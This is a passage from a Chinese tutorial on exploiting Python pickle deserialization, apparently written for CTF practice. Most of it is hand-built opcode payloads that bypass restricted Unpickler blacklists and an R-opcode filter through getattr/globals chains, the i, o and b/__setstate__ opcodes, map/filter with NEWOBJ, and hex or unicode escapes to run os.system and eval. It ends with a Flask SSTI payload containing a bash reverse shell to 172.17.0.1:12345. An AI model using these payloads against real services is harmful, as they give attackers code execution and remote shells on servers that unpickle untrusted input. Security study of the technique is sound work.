tR.'''

#以上opcode相当于执行了builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')

pickletools.dis(opcode3)
print(pickle.loads(opcode3))

###结果如下
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: ( MARK
44: c GLOBAL 'builtins globals'
62: ( MARK
63: t TUPLE (MARK at 62)
64: R REDUCE
65: S STRING 'builtins'
77: t TUPLE (MARK at 43)
78: R REDUCE
79: . STOP
highest protocol among opcodes = 0
<module 'builtins' (built-in)>

最后我们再调用获取到的builtins的eval函数即可

import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)
#<built-in function eval>

最终 我们构造命令执行

import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)


当然,以上payload只是一种方法,Python沙箱逃逸的方法还有很多,但思想都大同小异。当我们在在绕过find_class时,我们最好先构造出沙箱逃逸的payload,然后再根据payload构造opcode即可。

当然,如果不想手写opcode的话,也可以使用pker工具来辅助生成opcode

#payload.py

#获取getattr函数
getattr = GLOBAL('builtins', 'getattr')
#获取字典的get方法
get = getattr(GLOBAL('builtins', 'dict'), 'get')
#获取globals方法
golbals=GLOBAL('builtins', 'globals')
#获取字典
builtins_dict=golbals()
#获取builtins模块
__builtins__ = get(builtins_dict, '__builtins__')
#获取eval函数
eval=getattr(__builtins__,'eval')
eval("__import__('os').system('whoami')")
return
python3 pker.py < pker_test.py
b"cbuiltins\ngetattr\np0\n0g0\n(cbuiltins\ndict\nS'get'\ntRp1\n0cbuiltins\nglobals\np2\n0g2\n(tRp3\n0g1\n(g3\nS'__builtins__'\ntRp4\n0g0\n(g4\nS'eval'\ntRp5\n0g5\n(S'__import__(\\'os\\').system(\\'whoami\\')'\ntR."
法2

在法1中,我们通过getattr(builtins,'eval')来获取到了内置函数eval(),getattr的第一个参数——builtins模块,是通过获取globals()中的全局变量得到的。也就是说,globals()函数中含有Python中提前设置好的全局变量,包括我们import的各种模块,那么我们是否可以通过globals()函数来获取pickle模块呢?我们实验一下便知

import pickle
import secret
import builtins
print(builtins.globals())

###
{..., 'pickle': <module 'pickle' from 'C:\\...\\Python\\Python38\\lib\\pickle.py'>, 'secret': <module 'secret' from 'C:\\...\\Pickle_Learning\\secret.py'>, 'builtins': <module 'builtins' (built-in)>}

可以看到,globals()函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()来绕过find_class()了。

不过值得注意的是,由于pickle.loads()的参数需要为byte类型。而在Protocol 0中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class限制。

Protocol 0:

import pickle
import pickletools

b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
0: c GLOBAL '_codecs encode'
16: p PUT 0
19: ( MARK
20: V UNICODE 'abcdef'
28: p PUT 1
31: V UNICODE 'latin1'
39: p PUT 2
42: t TUPLE (MARK at 19)
43: p PUT 3
46: R REDUCE
47: p PUT 4
50: . STOP
highest protocol among opcodes = 0

直到Protocol 3版本,Python才引入了BC两个字节码来标识byte类型

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

import pickle
import pickletools

b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
0: \x80 PROTO 3
2: C SHORT_BINBYTES b'abcdef'
10: q BINPUT 0
12: . STOP
highest protocol among opcodes = 3

可以看到此时pickle对于byte类型变量的支持精简了很多。所以当我们想利用pickle.loads()来绕过find_class时,最好选择Protocol 3版本的opcode构造。

构造Protocol 3版本的Payload:

首先获取get函数:

import pickle
import builtins
import pickletools

class Op:
def __reduce__(self):
return (getattr,(builtins.dict,'get',))

op=Op()
opcode=pickle.dumps(op,protocol=3)
print(opcode)
pickletools.dis(opcode)

###
b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.'
0: \x80 PROTO 3
2: c GLOBAL 'builtins getattr'
20: q BINPUT 0
22: c GLOBAL 'builtins dict'
37: q BINPUT 1
39: X BINUNICODE 'get'
47: q BINPUT 2
49: \x86 TUPLE2
50: q BINPUT 3
52: R REDUCE
53: q BINPUT 4
55: . STOP
highest protocol among opcodes = 2

其中有很多q\0xn字节码,q\xnn这样的序列表示对之前保存的对象的一个引用,去掉也是可以的

构造出pickle.loads()函数:

import pickle

opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR."
print(pickle.loads(opcode))

###
<built-in function loads>

接着我们生成要执行的Payload:

import pickle
import os

class Command:
def __reduce__(self):
command="whoami"
return (os.system,(command,))

op=Command()
opcode=pickle.dumps(op,protocol=0)
print(opcode)

###
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

由于loads()函数接受的是byte类型参数,为了方便构造,我们先手动看一下pickle.loads(payload)的字节码,方便我们后续构造:

import pickle
import pickletools

class bin:
def __reduce__(self):
return (pickle.loads,(b'''cos\nsystem\n(S'whoami'\ntR.''',))

b=bin()
# b=b'abcdef'
opcode=pickle.dumps(b,protocol=3)
print(opcode)
pickletools.dis(opcode)

###
b"\x80\x03c_pickle\nloads\nq\x00C\x19cos\nsystem\n(S'whoami'\ntR.q\x01\x85q\x02Rq\x03."
0: \x80 PROTO 3
2: c GLOBAL '_pickle loads'
17: q BINPUT 0
19: C SHORT_BINBYTES b"cos\nsystem\n(S'whoami'\ntR."
46: q BINPUT 1
48: \x85 TUPLE1
49: q BINPUT 2
51: R REDUCE
52: q BINPUT 3
54: . STOP
highest protocol among opcodes = 3

这里使用了字节码C代表byte类型,然后后面跟上数据长度的十六进制即可,我们将C\x19cos\nsystem\n(S’whoami’\ntR.和上文构造好的pickle.loads()`函数合并即可,完整payload如下。

opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."

测试绕过:

import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

opcode2=opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
restricted_loads(opcode2)


同理 pker输入:

funcglob=GLOBAL("builtins","globals")
glob=funcglob()
dict=GLOBAL("builtins","dict")
getattr=GLOBAL("builtins","getattr")
get=getattr(dict,"get")
pickle=get(glob,"pickle")
loads=getattr(pickle,"loads")
loads("bytestr")

opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(S'bytestr'\ntR"

这里需要把生成的opcode的S'bytestr'改成byte字符串,用了B

opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR"

绕过R指令

以上方法虽然能够绕过对module和一些危险函数的限制,但本质上仍然是对__reduce__函数的延伸。倘若将字节码R也禁用了,那我们怎么进行RCE呢?

如果你还记得我上文所说的pickle漏洞命令执行的几种方法的话,你肯定能立即想到和函数执行有关的字节码Rio。实际上,如果没有R指令,我们同样能够进行函数执行。有下面这样一个例子

import pickle
import stao


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category


def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
print('not equal')
return
print('well done! {} {}'.format(stao.name,stao.age))
#stao.py

name="stao"
age=18

这里禁用了R指令,但是我们仍有方法初始化一个Animal对象。我在上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行,所以我们同样能够使用其他指令绕过。

i指令

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode=b'''(S'stao'
I18
i__main__
Animal
.'''
o指令

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode=b'''(c__main__
Animal
S'stao'
I18
o.'''

假如这里我们不知道stao模块的内容,我们可以通过变量覆盖的方式将原有stao中的变量覆盖掉。

opcode=b'''c__main__
stao
(S'name'
S'Hacker'
S'age'
I18
db(c__main__
Animal
S'Hacker'
I18
o.'''
b指令

实我们在上文已经使用过了b指令,当时他的作用是用来更新栈上的一个字典进行变量覆盖。实际上官方对它的解释是BUILD,当PVM解析到b指令时执行__setstate__或者__dict__.update()

BUILD          = b'b'   # call __setstate__ or __dict__.update()

那什么是__setstate__呢?官方文档中,如果想要存储对象的状态,就可以使用__getstat____setstat__方法。

被反序列化时调用__setstate__,被序列化时调用__getstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

由于pickle同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')

我们来看下面的例子

import pickle

class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age

def __str__(self):
return f"name: {self.name}\nage: {self.age}"


class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name=state
self.age=10

def __getstate__(self):
print("invoke __getstate__")
return "Child"


c1=Child("TEST")
print(c1)
#name: TEST
#age: 0


opcode=pickle.dumps(c1,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'

c2=pickle.loads(opcode)
print(c2)
#invoke __setstate__
#name: Child
#age: 10

当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

在pickle源码中,字节码b对应的是load_build()函数

def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

那么这有什么安全问题呢?如果我们将字典{"__setstate__":os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

Payload如下

opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__" #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''

执行结果如下,成功RCE

import pickle
import stao
import pickletools

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
print('not equal')
return
print('well done! {} {}'.format(stao.name,stao.age))

opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)

###
xiaoh\34946
not equal
0: ( MARK
1: c GLOBAL '__main__ Animal'
18: S STRING 'Casual'
28: I INT 18
32: o OBJ (MARK at 0)
33: } EMPTY_DICT
34: ( MARK
35: S STRING '__setstate__'
51: c GLOBAL 'os system'
62: u SETITEMS (MARK at 34)
63: b BUILD
64: S STRING 'whoami'
74: b BUILD
75: . STOP
highest protocol among opcodes = 1

python内置函数绕过

这一部分就是考验 python 的基础了,题目的话可以参考 美团CTF 2022 ezpickle 和 蓝帽杯2022 file_session

Python 解释器内置了很多函数和类型,任何时候都能使用。以下按字母顺序给出列表。

image-20240321204655011

不只是上文我们用的eval open等危险函数

还有一些其他函数可以进行命令执行

for x in map.__new__(map, eval, ['print(\'map\')']):  
pass

for x in filter.__new__(filter, eval, ['print(\'filter\')']):
pass

如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器

image-20240321205013186

这里构建的迭代器是不会立即触发的,在 python 中叫懒惰,我们需要再对迭代对象进行一步 __next__ 才能将他触发

r = map(eval, ['print(\'1\')'])
r.__next__()

r = filter(eval, ['print(\'2\')'])
r.__next__()

image-20240321205234761

__next__ 我们可以对他进行一个跟踪,看文档就可以

image-20240321205305266

Python/C API 中 Python 对象类型结构体的 tp_iternext 槽位

image-20240321205341056

可以看到最下面,这里实际上也就是对应着 PyIter_Next

PyIter_Next:

image-20240321205452655

我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__() 了,我们需要找一个能够触发 PyIter_Next 的方法:

类的__new__()构造方法:

着重注意这个操作符:

NEWOBJ = b'\x81'#(这个很有用)  #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈

他是可以触发类的__new__()函数的,所以在某些时候可以寻找可用的__new__()方法进行绕过.在下一个方法中,我们正是用了这一点才代替__next__()方法进行迭代.

bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next

也就是:

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

用到的核心其实就是:

NEWOBJ  = b'\x81'  # build object by applying cls.__new__ to argtuple

绕过敏感字符

S

S 操作码本身是 String ,是支持十六进制的识别的

S'flag' => S'\x66\x6c\x61\x67'
c__main__
secret
(S'\x6bey' #key
S'asd'
db.
b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

V

V指令的用法,类似于指令S

image-20240321210631706

在指令集中存在一个 V 用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码

S'flag' => V'\u0066\u006C\u0061\u0067'
c__main__
secret
(V\u006bey #key
S'asd'
db.
b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

内置模块获取关键字

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性

image-20240321212228133

可以看到模块中的属性是以列表的形式输出,我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来。

由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象

image-20240321212312902

然后我们可以通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始。最终可以构造如下

print(next(reversed(dir(sys.modules['admin']))))

#secret

reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造

opcode=b'''(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))

#secret

获取到了secret字符串,下面就容易构造变量覆盖了
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1 //指定参数、索引
db(S'admin'
I1
i__main__
User
.'''

flask 框架下结合 SSTI 进行 bypass

简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod

payload="cflask.templating\nrender_template_string\np0\n(S\"&#123;% for x in (().__class__.__base__.__subclasses__()) %&#125;&#123;%if x.__name__ =='catch_warnings'%&#125;&#123;&#123;x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')&#125;&#125;&#123;%endif%&#125;&#123;%endfor%&#125;\"\np1\ntp2\nRp3\n."